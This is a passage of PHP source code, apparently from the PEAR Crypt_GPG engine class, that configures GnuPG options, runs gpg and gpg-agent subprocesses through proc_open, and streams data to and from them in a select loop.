            if ($this->_gpgconf && !is_executable($this->_gpgconf)) {
                throw new PEAR_Exception(
                    'Specified gpgconf binary is not executable.'
                );
            }
        }

        /*
         * Note:
         *
         * Normally, GnuPG expects keyrings to be in the homedir and expects
         * to be able to write temporary files in the homedir. Sometimes,
         * keyrings are not in the homedir, or location of the keyrings does
         * not allow writing temporary files. In this case, the <i>homedir</i>
         * option by itself is not enough to specify the keyrings because GnuPG
         * can not write required temporary files. Additional options are
         * provided so you can specify the location of the keyrings separately
         * from the homedir.
         */

        // get public keyring
        if (array_key_exists('publicKeyring', $options)) {
            $this->_publicKeyring = (string)$options['publicKeyring'];
            if (!is_readable($this->_publicKeyring)) {
                throw new Crypt_GPG_FileException(
                    'The \'publicKeyring\' "' . $this->_publicKeyring .
                    '" does not exist or is not readable. Check the location ' .
                    'and ensure the file permissions are correct.',
                    0, $this->_publicKeyring
                );
            }
        }

        // get private keyring
        if (array_key_exists('privateKeyring', $options)) {
            $this->_privateKeyring = (string)$options['privateKeyring'];
            if (!is_readable($this->_privateKeyring)) {
                throw new Crypt_GPG_FileException(
                    'The \'privateKeyring\' "' . $this->_privateKeyring .
                    '" does not exist or is not readable. Check the location ' .
                    'and ensure the file permissions are correct.',
                    0, $this->_privateKeyring
                );
            }
        }

        // get trust database
        if (array_key_exists('trustDb', $options)) {
            $this->_trustDb = (string)$options['trustDb'];
            if (!is_readable($this->_trustDb)) {
                throw new Crypt_GPG_FileException(
                    'The \'trustDb\' "' . $this->_trustDb .
                    '" does not exist or is not readable. Check the location ' .
                    'and ensure the file permissions are correct.',
                    0, $this->_trustDb
                );
            }
        }

        if (array_key_exists('debug', $options)) {
            $this->_debug = $options['debug'];
        }

        $this->_strict = !empty($options['strict']);

        if (!empty($options['digest-algo'])) {
            $this->_digest_algo = $options['digest-algo'];
        }

        if (!empty($options['cipher-algo'])) {
            $this->_cipher_algo = $options['cipher-algo'];
        }

        if (!empty($options['compress-algo'])) {
            $this->_compress_algo = $options['compress-algo'];
        }

        if (!empty($options['options'])) {
            $this->_options = $options['options'];
        }
    }

    /**
     * Closes open GPG subprocesses when this object is destroyed
     *
     * Subprocesses should never be left open by this class unless there is
     * an unknown error and unexpected script termination occurs.
     */
    public function __destruct()
    {
        $this->_closeSubprocess();
        $this->_closeIdleAgents();
    }

    /**
     * Adds an error handler method
     *
     * The method is run every time a new error line is received from the GPG
     * subprocess. The handler method must accept the error line to be handled
     * as its first parameter.
     *
     * @param callable $callback the callback method to use.
     * @param array    $args     optional. Additional arguments to pass as
     *                           parameters to the callback method.
     *
     * @return void
     */
    public function addErrorHandler($callback, array $args = array())
    {
        $this->_errorHandlers[] = array(
            'callback' => $callback,
            'args'     => $args
        );
    }

    /**
     * Adds a status handler method
     *
     * The method is run every time a new status line is received from the
     * GPG subprocess. The handler method must accept the status line to be
     * handled as its first parameter.
     *
     * @param callable $callback the callback method to use.
     * @param array    $args     optional. Additional arguments to pass as
     *                           parameters to the callback method.
     *
     * @return void
     */
    public function addStatusHandler($callback, array $args = array())
    {
        $this->_statusHandlers[] = array(
            'callback' => $callback,
            'args'     => $args
        );
    }

    /**
     * Sends a command to the GPG subprocess over the command file-descriptor
     * pipe
     *
     * @param string $command the command to send.
     *
     * @return void
     *
     * @sensitive $command
     */
    public function sendCommand($command)
    {
        if (array_key_exists(self::FD_COMMAND, $this->_openPipes)) {
            $this->_commandBuffer .= $command . PHP_EOL;
        }
    }

    /**
     * Resets the GPG engine, preparing it for a new operation
     *
     * @return void
     *
     * @see Crypt_GPG_Engine::run()
     * @see Crypt_GPG_Engine::setOperation()
     */
    public function reset()
    {
        $this->_operation      = '';
        $this->_arguments      = array();
        $this->_input          = null;
        $this->_message        = null;
        $this->_output         = '';
        $this->_commandBuffer  = '';

        $this->_statusHandlers = array();
        $this->_errorHandlers  = array();

        if ($this->_debug) {
            $this->addStatusHandler(array($this, '_handleDebugStatus'));
            $this->addErrorHandler(array($this, '_handleDebugError'));
        }

        $this->_processHandler = new Crypt_GPG_ProcessHandler($this);

        $this->addStatusHandler(array($this->_processHandler, 'handleStatus'));
        $this->addErrorHandler(array($this->_processHandler, 'handleError'));
    }

    /**
     * Runs the current GPG operation.
     *
     * This creates and manages the GPG subprocess.
     * This will close input/output file handles.
     *
     * The operation must be set with {@link Crypt_GPG_Engine::setOperation()}
     * before this method is called.
     *
     * @return void
     *
     * @throws Crypt_GPG_InvalidOperationException if no operation is specified.
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *
     * @see Crypt_GPG_Engine::reset()
     * @see Crypt_GPG_Engine::setOperation()
     */
    public function run()
    {
        if ($this->_operation === '') {
            throw new Crypt_GPG_InvalidOperationException(
                'No GPG operation specified. Use Crypt_GPG_Engine::setOperation() ' .
                'before calling Crypt_GPG_Engine::run().'
            );
        }

        $this->_openSubprocess();
        $this->_process();
        $this->_closeSubprocess();
    }

    /**
     * Sets the input source for the current GPG operation
     *
     * @param string|resource &$input Either a reference to the string
     *                                containing the input data or an open
     *                                stream resource containing the input data
     *
     * @return void
     */
    public function setInput(&$input)
    {
        $this->_input =& $input;
    }

    /**
     * Sets the message source for the current GPG operation
     *
     * Detached signature data should be specified here.
     *
     * @param string|resource &$message Either a reference to the string
     *                                  containing the message data or an open
     *                                  stream resource containing the message data
     *
     * @return void
     */
    public function setMessage(&$message)
    {
        $this->_message =& $message;
    }

    /**
     * Sets the output destination for the current GPG operation
     *
     * @param string|resource &$output Either a reference to the string in
     *                                 which to store GPG output or an open
     *                                 stream resource to which the output data
     *                                 should be written
     *
     * @return void
     */
    public function setOutput(&$output)
    {
        $this->_output =& $output;
    }

    /**
     * Sets the operation to perform
     *
     * @param string $operation the operation to perform. This should be one
     *                          of GPG's operations. For example,
     *                          <kbd>--encrypt</kbd>, <kbd>--decrypt</kbd>,
     *                          <kbd>--sign</kbd>, etc.
     * @param array  $arguments optional. Additional arguments for the GPG
     *                          subprocess. See the GPG manual for specific
     *                          values.
     *
     * @return void
     *
     * @see Crypt_GPG_Engine::reset()
     * @see Crypt_GPG_Engine::run()
     */
    public function setOperation($operation, array $arguments = array())
    {
        $this->_operation = $operation;
        $this->_arguments = $arguments;

        foreach ($this->_options as $optname => $args) {
            if (strpos($operation, '--' . $optname) !== false) {
                $this->_arguments[] = $args;
            }
        }

        $this->_processHandler->setOperation($operation);
    }

    /**
     * Sets the PINENTRY_USER_DATA environment variable with the currently
     * added keys and passphrases
     *
     * Keys and passphrases are stored as an indexed array of passphrases
     * in JSON encoded to a flat string.
     *
     * For GnuPG 2.x this is how passphrases are passed. For GnuPG 1.x the
     * environment variable is set but not used.
     *
     * @param array $keys the internal key array to use.
     *
     * @return void
     */
    public function setPins(array $keys)
    {
        $envKeys = array();

        foreach ($keys as $keyId => $key) {
            $envKeys[$keyId] = is_array($key) ? $key['passphrase'] : $key;
        }

        $_ENV['PINENTRY_USER_DATA'] = json_encode($envKeys);
    }

    /**
     * Sets per-command additional arguments
     *
     * @param array $options Additional per-command options for GPG command.
     *                       Note: This will unset options set previously.
     *                       Key of the array is a command (e.g.
     *                       gen-key, import, sign, encrypt, list-keys).
     *                       Value is a string containing command line arguments to be
     *                       added to the related command. For example:
     *                       array('sign' => '--emit-version').
     *
     * @return void
     */
    public function setOptions(array $options)
    {
        $this->_options = $options;
    }

    /**
     * Gets the version of the GnuPG binary
     *
     * @return string a version number string containing the version of GnuPG
     *                being used. This value is suitable to use with PHP's
     *                version_compare() function.
     *
     * @throws Crypt_GPG_Exception if an unknown or unexpected error occurs.
     *         Use the <kbd>debug</kbd> option and file a bug report if these
     *         exceptions occur.
     *
     * @throws Crypt_GPG_Exception if the provided binary is not
     *         GnuPG or if the GnuPG version is less than 1.0.2.
     */
    public function getVersion()
    {
        if ($this->_version == '') {
            $options = array(
                'homedir' => $this->_homedir,
                'binary'  => $this->_binary,
                'debug'   => $this->_debug,
                'agent'   => $this->_agent,
            );

            $engine = new self($options);
            $info   = '';

            // Set a garbage version so we do not end up looking up the version
            // recursively.
            $engine->_version = '1.0.0';

            $engine->reset();
            $engine->setOutput($info);
            $engine->setOperation('--version');
            $engine->run();

            $matches    = array();
            $expression = '#gpg \(GnuPG[A-Za-z0-9/]*?\) (\S+)#';

            if (preg_match($expression, $info, $matches) === 1) {
                $this->_version = $matches[1];
            } else {
                throw new Crypt_GPG_Exception(
                    'No GnuPG version information provided by the binary "' .
                    $this->_binary . '". Are you sure it is GnuPG?'
                );
            }

            if (version_compare($this->_version, self::MIN_VERSION, 'lt')) {
                throw new Crypt_GPG_Exception(
                    'The version of GnuPG being used (' . $this->_version .
                    ') is not supported by Crypt_GPG. The minimum version ' .
                    'required by Crypt_GPG is ' . self::MIN_VERSION
                );
            }
        }


        return $this->_version;
    }

    /**
     * Get data from the last process execution.
     *
     * @param string $name Data element name (e.g. 'SignatureInfo')
     *
     * @return mixed
     * @see    Crypt_GPG_ProcessHandler::getData()
     */
    public function getProcessData($name)
    {
        if ($this->_processHandler) {
            switch ($name) {
            case 'SignatureInfo':
                if ($data = $this->_processHandler->getData('SigCreated')) {
                    return new Crypt_GPG_SignatureCreationInfo($data);
                }
                break;

            case 'Signatures':
            case 'Warnings':
                return (array) $this->_processHandler->getData($name);

            default:
                return $this->_processHandler->getData($name);
            }
        }
    }

    /**
     * Set some data for the process execution.
     *
     * @param string $name  Data element name (e.g. 'Handle')
     * @param mixed  $value Data value
     *
     * @return void
     */
    public function setProcessData($name, $value)
    {
        if ($this->_processHandler) {
            $this->_processHandler->setData($name, $value);
        }
    }

    /**
     * Displays debug output for status lines
     *
     * @param string $line the status line to handle.
     *
     * @return void
     */
    private function _handleDebugStatus($line)
    {
        $this->_debug('STATUS: ' . $line);
    }

    /**
     * Displays debug output for error lines
     *
     * @param string $line the error line to handle.
     *
     * @return void
     */
    private function _handleDebugError($line)
    {
        $this->_debug('ERROR: ' . $line);
    }

    /**
     * Performs internal streaming operations for the subprocess using either
     * strings or streams as input / output points
     *
     * This is the main I/O loop for streaming to and from the GPG subprocess.
     *
     * The implementation of this method is verbose mainly for performance
     * reasons. Adding streams to a lookup array and looping the array inside
     * the main I/O loop would be siginficantly slower for large streams.
     *
     * @return void
     *
     * @throws Crypt_GPG_Exception if there is an error selecting streams for
     *         reading or writing. If this occurs, please file a bug report at
     *         http://pear.php.net/bugs/report.php?package=Crypt_GPG.
     */
    private function _process()
    {
        $this->_debug('BEGIN PROCESSING');

        $this->_commandBuffer = '';    // buffers input to GPG
        $messageBuffer        = '';    // buffers input to GPG
        $inputBuffer          = '';    // buffers input to GPG
        $outputBuffer         = '';    // buffers output from GPG
        $statusBuffer         = '';    // buffers output from GPG
        $errorBuffer          = '';    // buffers output from GPG
        $inputComplete        = false; // input stream is completely buffered
        $messageComplete      = false; // message stream is completely buffered

        if (is_string($this->_input)) {
            $inputBuffer   = $this->_input;
            $inputComplete = true;
        }

        if (is_string($this->_message)) {
            $messageBuffer   = $this->_message;
            $messageComplete = true;
        }

        if (is_string($this->_output)) {
            $outputBuffer =& $this->_output;
        }

        // convenience variables
        $fdInput   = $this->_pipes[self::FD_INPUT];
        $fdOutput  = $this->_pipes[self::FD_OUTPUT];
        $fdError   = $this->_pipes[self::FD_ERROR];
        $fdStatus  = $this->_pipes[self::FD_STATUS];
        $fdCommand = $this->_pipes[self::FD_COMMAND];
        $fdMessage = $this->_pipes[self::FD_MESSAGE];

        // select loop delay in milliseconds
        $delay         = 0;
        $inputPosition = 0;
        $eolLength     = mb_strlen(PHP_EOL, '8bit');

        while (true) {
            $inputStreams     = array();
            $outputStreams    = array();
            $exceptionStreams = array();

            // set up input streams
            if (is_resource($this->_input) && !$inputComplete) {
                if (feof($this->_input)) {
                    $inputComplete = true;
                } else {
                    $inputStreams[] = $this->_input;
                }
            }

            // close GPG input pipe if there is no more data
            if ($inputBuffer == '' && $inputComplete) {
                $this->_debug('=> closing GPG input pipe');
                $this->_closePipe(self::FD_INPUT);
            }

            if (is_resource($this->_message) && !$messageComplete) {
                if (feof($this->_message)) {
                    $messageComplete = true;
                } else {
                    $inputStreams[] = $this->_message;
                }
            }

            // close GPG message pipe if there is no more data
            if ($messageBuffer == '' && $messageComplete) {
                $this->_debug('=> closing GPG message pipe');
                $this->_closePipe(self::FD_MESSAGE);
            }

            if (!feof($fdOutput)) {
                $inputStreams[] = $fdOutput;
            }

            if (!feof($fdStatus)) {
                $inputStreams[] = $fdStatus;
            }

            if (!feof($fdError)) {
                $inputStreams[] = $fdError;
            }

            // set up output streams
            if ($outputBuffer != '' && is_resource($this->_output)) {
                $outputStreams[] = $this->_output;
            }

            if ($this->_commandBuffer != '' && is_resource($fdCommand)) {
                $outputStreams[] = $fdCommand;
            }

            if ($messageBuffer != '' && is_resource($fdMessage)) {
                $outputStreams[] = $fdMessage;
            }

            if ($inputBuffer != '' && is_resource($fdInput)) {
                $outputStreams[] = $fdInput;
            }

            // no streams left to read or write, we're all done
            if (count($inputStreams) === 0 && count($outputStreams) === 0) {
                break;
            }

            $this->_debug('selecting streams');

            $ready = stream_select(
                $inputStreams,
                $outputStreams,
                $exceptionStreams,
                null
            );

            $this->_debug('=> got ' . $ready);

            if ($ready === false) {
                throw new Crypt_GPG_Exception(
                    'Error selecting stream for communication with GPG ' .
                    'subprocess. Please file a bug report at: ' .
                    'http://pear.php.net/bugs/report.php?package=Crypt_GPG'
                );
            }

            if ($ready === 0) {
                throw new Crypt_GPG_Exception(
                    'stream_select() returned 0. This can not happen! Please ' .
                    'file a bug report at: ' .
                    'http://pear.php.net/bugs/report.php?package=Crypt_GPG'
                );
            }

            // write input (to GPG)
            if (in_array($fdInput, $outputStreams, true)) {
                $this->_debug('GPG is ready for input');

                $chunk  = mb_substr($inputBuffer, $inputPosition, self::CHUNK_SIZE, '8bit');
                $length = mb_strlen($chunk, '8bit');

                $this->_debug(
                    '=> about to write ' . $length . ' bytes to GPG input'
                );

                $length = fwrite($fdInput, $chunk, $length);
                if ($length === 0 || $length === false) {
                    // If we wrote 0 bytes it was either EAGAIN or EPIPE. Since
                    // the pipe was seleted for writing, we assume it was EPIPE.
                    // There's no way to get the actual error code in PHP. See
                    // PHP Bug #39598. https://bugs.php.net/bug.php?id=39598
                    $this->_debug('=> broken pipe on GPG input');
                    $this->_debug('=> closing pipe GPG input');
                    $this->_closePipe(self::FD_INPUT);
                } else {
                    $this->_debug('=> wrote ' . $length . ' bytes');
                    // Move the position pointer, don't modify $inputBuffer (#21081)
                    if (is_string($this->_input)) {
                        $inputPosition += $length;
                    } else {
                        $inputPosition = 0;
                        $inputBuffer   = mb_substr($inputBuffer, $length, null, '8bit');
                    }
                }
            }

            // read input (from PHP stream)
            // If the buffer is too big wait until it's smaller, we don't want
            // to use too much memory
            if (in_array($this->_input, $inputStreams, true)
                && mb_strlen($inputBuffer, '8bit') < self::CHUNK_SIZE
            ) {
                $this->_debug('input stream is ready for reading');
                $this->_debug(
                    '=> about to read ' . self::CHUNK_SIZE .
                    ' bytes from input stream'
                );

                $chunk        = fread($this->_input, self::CHUNK_SIZE);
                $length       = mb_strlen($chunk, '8bit');
                $inputBuffer .= $chunk;

                $this->_debug('=> read ' . $length . ' bytes');
            }

            // write message (to GPG)
            if (in_array($fdMessage, $outputStreams, true)) {
                $this->_debug('GPG is ready for message data');

                $chunk  = mb_substr($messageBuffer, 0, self::CHUNK_SIZE, '8bit');
                $length = mb_strlen($chunk, '8bit');

                $this->_debug(
                    '=> about to write ' . $length . ' bytes to GPG message'
                );

                $length = fwrite($fdMessage, $chunk, $length);

                if ($length === 0 || $length === false) {
                    // If we wrote 0 bytes it was either EAGAIN or EPIPE. Since
                    // the pipe was seleted for writing, we assume it was EPIPE.
                    // There's no way to get the actual error code in PHP. See
                    // PHP Bug #39598. https://bugs.php.net/bug.php?id=39598
                    $this->_debug('=> broken pipe on GPG message');
                    $this->_debug('=> closing pipe GPG message');
                    $this->_closePipe(self::FD_MESSAGE);
                } else {
                    $this->_debug('=> wrote ' . $length . ' bytes');
                    $messageBuffer = mb_substr($messageBuffer, $length, null, '8bit');
                }
            }

            // read message (from PHP stream)
            if (in_array($this->_message, $inputStreams, true)) {
                $this->_debug('message stream is ready for reading');
                $this->_debug(
                    '=> about to read ' . self::CHUNK_SIZE .
                    ' bytes from message stream'
                );

                $chunk          = fread($this->_message, self::CHUNK_SIZE);
                $length         = mb_strlen($chunk, '8bit');
                $messageBuffer .= $chunk;

                $this->_debug('=> read ' . $length . ' bytes');
            }

            // read output (from GPG)
            if (in_array($fdOutput, $inputStreams, true)) {
                $this->_debug('GPG output stream ready for reading');
                $this->_debug(
                    '=> about to read ' . self::CHUNK_SIZE .
                    ' bytes from GPG output'
                );

                $chunk         = fread($fdOutput, self::CHUNK_SIZE);
                $length        = mb_strlen($chunk, '8bit');
                $outputBuffer .= $chunk;

                $this->_debug('=> read ' . $length . ' bytes');
            }

            // write output (to PHP stream)
            if (in_array($this->_output, $outputStreams, true)) {
                $this->_debug('output stream is ready for data');

                $chunk  = mb_substr($outputBuffer, 0, self::CHUNK_SIZE, '8bit');
                $length = mb_strlen($chunk, '8bit');

                $this->_debug(
                    '=> about to write ' . $length . ' bytes to output stream'
                );

                $length = fwrite($this->_output, $chunk, $length);

                if ($length === 0 || $length === false) {
                    // If we wrote 0 bytes it was either EAGAIN or EPIPE. Since
                    // the pipe was seleted for writing, we assume it was EPIPE.
                    // There's no way to get the actual error code in PHP. See
                    // PHP Bug #39598. https://bugs.php.net/bug.php?id=39598
                    $this->_debug('=> broken pipe on output stream');
                    $this->_debug('=> closing pipe output stream');
                    $this->_closePipe(self::FD_OUTPUT);
                } else {
                    $this->_debug('=> wrote ' . $length . ' bytes');
                    $outputBuffer = mb_substr($outputBuffer, $length, null, '8bit');
                }
            }

            // read error (from GPG)
            if (in_array($fdError, $inputStreams, true)) {
                $this->_debug('GPG error stream ready for reading');
                $this->_debug(
                    '=> about to read ' . self::CHUNK_SIZE .
                    ' bytes from GPG error'
                );

                $chunk        = fread($fdError, self::CHUNK_SIZE);
                $length       = mb_strlen($chunk, '8bit');
                $errorBuffer .= $chunk;

                $this->_debug('=> read ' . $length . ' bytes');

                // pass lines to error handlers
                while (($pos = strpos($errorBuffer, PHP_EOL)) !== false) {
                    $line = mb_substr($errorBuffer, 0, $pos, '8bit');
                    foreach ($this->_errorHandlers as $handler) {
                        array_unshift($handler['args'], $line);
                        call_user_func_array(
                            $handler['callback'],
                            $handler['args']
                        );

                        array_shift($handler['args']);
                    }

                    $errorBuffer = mb_substr($errorBuffer, $pos + $eolLength, null, '8bit');
                }
            }

            // read status (from GPG)
            if (in_array($fdStatus, $inputStreams, true)) {
                $this->_debug('GPG status stream ready for reading');
                $this->_debug(
                    '=> about to read ' . self::CHUNK_SIZE .
                    ' bytes from GPG status'
                );

                $chunk         = fread($fdStatus, self::CHUNK_SIZE);
                $length        = mb_strlen($chunk, '8bit');
                $statusBuffer .= $chunk;

                $this->_debug('=> read ' . $length . ' bytes');

                // pass lines to status handlers
                while (($pos = strpos($statusBuffer, PHP_EOL)) !== false) {
                    $line = mb_substr($statusBuffer, 0, $pos, '8bit');
                    // only pass lines beginning with magic prefix
                    if (mb_substr($line, 0, 9, '8bit') == '[GNUPG:] ') {
                        $line = mb_substr($line, 9, null, '8bit');
                        foreach ($this->_statusHandlers as $handler) {
                            array_unshift($handler['args'], $line);
                            call_user_func_array(
                                $handler['callback'],
                                $handler['args']
                            );

                            array_shift($handler['args']);
                        }
                    }

                    $statusBuffer = mb_substr($statusBuffer, $pos + $eolLength, null, '8bit');
                }
            }

            // write command (to GPG)
            if (in_array($fdCommand, $outputStreams, true)) {
                $this->_debug('GPG is ready for command data');

                // send commands
                $chunk  = mb_substr($this->_commandBuffer, 0, self::CHUNK_SIZE, '8bit');
                $length = mb_strlen($chunk, '8bit');

                $this->_debug(
                    '=> about to write ' . $length . ' bytes to GPG command'
                );

                $length = fwrite($fdCommand, $chunk, $length);

                if ($length === 0 || $length === false) {
                    // If we wrote 0 bytes it was either EAGAIN or EPIPE. Since
                    // the pipe was seleted for writing, we assume it was EPIPE.
                    // There's no way to get the actual error code in PHP. See
                    // PHP Bug #39598. https://bugs.php.net/bug.php?id=39598
                    $this->_debug('=> broken pipe on GPG command');
                    $this->_debug('=> closing pipe GPG command');
                    $this->_closePipe(self::FD_COMMAND);
                } else {
                    $this->_debug('=> wrote ' . $length);
                    $this->_commandBuffer = mb_substr($this->_commandBuffer, $length, null, '8bit');
                }
            }

            if (count($outputStreams) === 0 || count($inputStreams) === 0) {
                // we have an I/O imbalance, increase the select loop delay
                // to smooth things out
                $delay += 10;
            } else {
                // things are running smoothly, decrease the delay
                $delay -= 8;
                $delay = max(0, $delay);
            }

            if ($delay > 0) {
                usleep($delay);
            }

        } // end loop while streams are open

        $this->_debug('END PROCESSING');
    }

    /**
     * Opens an internal GPG subprocess for the current operation
     *
     * Opens a GPG subprocess, then connects the subprocess to some pipes. Sets
     * the private class property {@link Crypt_GPG_Engine::$_process} to
     * the new subprocess.
     *
     * @return void
     *
     * @throws Crypt_GPG_OpenSubprocessException if the subprocess could not be
     *         opened.
     *
     * @see Crypt_GPG_Engine::setOperation()
     * @see Crypt_GPG_Engine::_closeSubprocess()
     * @see Crypt_GPG_Engine::$_process
     */
    private function _openSubprocess()
    {
        $version = $this->getVersion();

        // log versions, but not when looking for the version number
        if ($version !== '1.0.0') {
            $this->_debug('USING GPG ' . $version . ' with PHP ' . PHP_VERSION);
        }

        // Binary operations will not work on Windows with PHP < 5.2.6. This is
        // in case stream_select() ever works on Windows.
        $rb = (version_compare(PHP_VERSION, '5.2.6') < 0) ? 'r' : 'rb';
        $wb = (version_compare(PHP_VERSION, '5.2.6') < 0) ? 'w' : 'wb';

        $env = $_ENV;

        // Newer versions of GnuPG return localized results. Crypt_GPG only
        // works with English, so set the locale to 'C' for the subprocess.
        $env['LC_ALL'] = 'C';

        // If using GnuPG 2.x < 2.1.13 start the gpg-agent
        if (version_compare($version, '2.0.0', 'ge')
            && version_compare($version, '2.1.13', 'lt')
        ) {
            if (!$this->_agent) {
                throw new Crypt_GPG_OpenSubprocessException(
                    'Unable to open gpg-agent subprocess (gpg-agent not found). ' .
                    'Please specify location of the gpg-agent binary ' .
                    'using the \'agent\' driver option.'
                );
            }

            $agentArguments = array(
                '--daemon',
                '--options /dev/null', // ignore any saved options
                '--csh', // output is easier to parse
                '--keep-display', // prevent passing --display to pinentry
                '--no-grab',
                '--ignore-cache-for-signing',
                '--pinentry-touch-file /dev/null',
                '--disable-scdaemon',
                '--no-use-standard-socket',
                '--pinentry-program ' . escapeshellarg($this->_getPinEntry())
            );

            if ($this->_homedir) {
                $agentArguments[] = '--homedir ' .
                    escapeshellarg($this->_homedir);
            }

            if ($version21 = version_compare($version, '2.1.0', 'ge')) {
                // This is needed to get socket file location in stderr output
                // Note: This does not help when the agent already is running
                $agentArguments[] = '--verbose';
            }

            $agentCommandLine = $this->_agent . ' ' . implode(' ', $agentArguments);

            $agentDescriptorSpec = array(
                self::FD_INPUT   => array('pipe', $rb), // stdin
                self::FD_OUTPUT  => array('pipe', $wb), // stdout
                self::FD_ERROR   => array('pipe', $wb)  // stderr
            );

            $this->_debug('OPENING GPG-AGENT SUBPROCESS WITH THE FOLLOWING COMMAND:');
            $this->_debug($agentCommandLine);

            $this->_agentProcess = proc_open(
                $agentCommandLine,
                $agentDescriptorSpec,
                $this->_agentPipes,
                null,
                $env,
                array('binary_pipes' => true)
            );

            if (!is_resource($this->_agentProcess)) {
                throw new Crypt_GPG_OpenSubprocessException(
                    'Unable to open gpg-agent subprocess.',
                    0,
                    $agentCommandLine
                );
            }

            // Get GPG_AGENT_INFO and set environment variable for gpg process.
            // This is a blocking read, but is only 1 line.
            $agentInfo = fread($this->_agentPipes[self::FD_OUTPUT], self::CHUNK_SIZE);

            // For GnuPG 2.1 we need to read both stderr and stdout
            if ($version21) {
                $agentInfo .= "\n" . fread($this->_agentPipes[self::FD_ERROR], self::CHUNK_SIZE);
            }

            if ($agentInfo) {
                foreach (explode("\n", $agentInfo) as $line) {
                    if ($version21) {
                        if (preg_match('/listening on socket \'([^\']+)/', $line, $m)) {
                            $this->_agentInfo = $m[1];
                        } else if (preg_match('/gpg-agent\[([0-9]+)\].* started/', $line, $m)) {
                            $this->_agentInfo .= ':' . $m[1] . ':1';
                        }
                    } else if (preg_match('/GPG_AGENT_INFO[=\s]([^;]+)/', $line, $m)) {
                        $this->_agentInfo = $m[1];
                        break;
                    }
                }
            }

            $this->_debug('GPG-AGENT-INFO: ' . $this->_agentInfo);

            $env['GPG_AGENT_INFO'] = $this->_agentInfo;

            // gpg-agent daemon is started, we can close the launching process
            $this->_closeAgentLaunchProcess();

            // Terminate processes if something went wrong
            register_shutdown_function(array($this, '__destruct'));
        }

        // "Register" GPGConf existence for _closeIdleAgents()
        if (version_compare($version, '2.1.0', 'ge')) {
            if ($this->_gpgconf === null) {
                $this->_gpgconf = $this->_getGPGConf();
            }
        } else {
            $this->_gpgconf = false;
        }

        $commandLine = $this->_binary;

        $defaultArguments = array(
            '--status-fd ' . escapeshellarg(self::FD_STATUS),
            '--command-fd ' . escapeshellarg(self::FD_COMMAND),
            '--no-secmem-warning',
            '--no-tty',
            '--no-default-keyring', // ignored if keying files are not specified
            '--no-options'          // prevent creation of ~/.gnupg directory
        );

        if (version_compare($version, '1.0.7', 'ge')) {
            if (version_compare($version, '2.0.0', 'lt')) {
                $defaultArguments[] = '--no-use-agent';
            }
            $defaultArguments[] = '--no-permission-warning';
        }

        if (version_compare($version, '1.4.2', 'ge')) {
            $defaultArguments[] = '--exit-on-status-write-error';
        }

        if (version_compare($version, '1.3.2', 'ge')) {
            $defaultArguments[] = '--trust-model always';
        } else {
            $defaultArguments[] = '--always-trust';
        }

        // Since 2.1.13 we can use "loopback mode" instead of gpg-agent
        if (version_compare($version, '2.1.13', 'ge')) {
            $defaultArguments[] = '--pinentry-mode loopback';
        }

        if (!$this->_strict) {
            $defaultArguments[] = '--ignore-time-conflict';
            $defaultArguments[] = '--ignore-valid-from';
        }

        if (!empty($this->_digest_algo)) {
            $defaultArguments[] = '--digest-algo ' . escapeshellarg($this->_digest_algo);
            $defaultArguments[] = '--s2k-digest-algo ' . escapeshellarg($this->_digest_algo);
        }

        if (!empty($this->_cipher_algo)) {
            $defaultArguments[] = '--cipher-algo ' . escapeshellarg($this->_cipher_algo);
            $defaultArguments[] = '--s2k-cipher-algo ' . escapeshellarg($this->_cipher_algo);
        }

        if (!empty($this->_compress_algo)) {
            $defaultArguments[] = '--compress-algo ' . escapeshellarg($this->_compress_algo);
        }

        $arguments = array_merge($defaultArguments, $this->_arguments);

        if ($this->_homedir) {
            $arguments[] = '--homedir ' . escapeshellarg($this->_homedir);

            // the random seed file makes subsequent actions faster so only
            // disable it if we have to.
            if (!is_writeable($this->_homedir)) {
                $arguments[] = '--no-random-seed-file';
            }
        }

        if ($this->_publicKeyring) {
            $arguments[] = '--keyring ' . escapeshellarg($this->_publicKeyring);
        }

        if ($this->_privateKeyring) {
            $arguments[] = '--secret-keyring ' .
                escapeshellarg($this->_privateKeyring);
        }

        if ($this->_trustDb) {
            $arguments[] = '--trustdb-name ' . escapeshellarg($this->_trustDb);
        }

        $commandLine .= ' ' . implode(' ', $arguments) . ' ' .
            $this->_operation;

        $descriptorSpec = array(
            self::FD_INPUT   => array('pipe', $rb), // stdin
            self::FD_OUTPUT  => array('pipe', $wb), // stdout
            self::FD_ERROR   => array('pipe', $wb), // stderr
            self::FD_STATUS  => array('pipe', $wb), // status
            self::FD_COMMAND => array('pipe', $rb), // command
            self::FD_MESSAGE => array('pipe', $rb)  // message
        );

        $this->_debug('OPENING GPG SUBPROCESS WITH THE FOLLOWING COMMAND:');
        $this->_debug($commandLine);

        $this->_process = proc_open(
            $commandLine,
            $descriptorSpec,
            $this->_pipes,
            null,
            $env,
            array('binary_pipes' => true)
        );

        if (!is_resource($this->_process)) {
            throw new Crypt_GPG_OpenSubprocessException(
                'Unable to open GPG subprocess.', 0, $commandLine
            );
        }

        // Set streams as non-blocking. See Bug #18618.
        foreach ($this->_pipes as $pipe) {
            stream_set_blocking($pipe, 0);
            stream_set_write_buffer($pipe, self::CHUNK_SIZE);
            stream_set_chunk_size($pipe, self::CHUNK_SIZE);
            stream_set_read_buffer($pipe, self::CHUNK_SIZE);
        }

        $this->_openPipes = $this->_pipes;
    }

    /**
     * Closes the internal GPG subprocess
     *
     * Closes the internal GPG subprocess. Sets the private class property
     * {@link Crypt_GPG_Engine::$_process} to null.
     *
     * @return void
     *
     * @see Crypt_GPG_Engine::_openSubprocess()
     * @see Crypt_GPG_Engine::$_process
     */
    private function _closeSubprocess()
    {
        // clear PINs from environment if they were set
        $_ENV['PINENTRY_USER_DATA'] = null;

        if (is_resource($this->_process)) {
            $this->_debug('CLOSING GPG SUBPROCESS');

            // close remaining open pipes
            foreach (array_keys($this->_openPipes) as $pipeNumber) {
                $this->_closePipe($pipeNumber);
            }

            $status   = proc_get_status($this->_process);
            $exitCode = proc_close($this->_process);

            // proc_close() can return -1 in some cases,
            // get the real exit code from the process status
            if ($exitCode < 0 && !$status['running']) {
                $exitCode = $status['exitcode'];
            }

            if ($exitCode > 0) {
                $this->_debug(
                    '=> subprocess returned an unexpected exit code: ' .
                    $exitCode
                );
            }

            $this->_process = null;
            $this->_pipes   = array();

            // close file handles before throwing an exception
            if (is_resource($this->_input)) {
                fclose($this->_input);
            }

            if (is_resource($this->_output)) {
                fclose($this->_output);
            }

            $this->_processHandler->throwException($exitCode);
        }

        $this->_closeAgentLaunchProcess();

        if ($this->_agentInfo !== null) {
            $parts = explode(':', $this->_agentInfo, 3);

            if (!empty($parts[1])) {
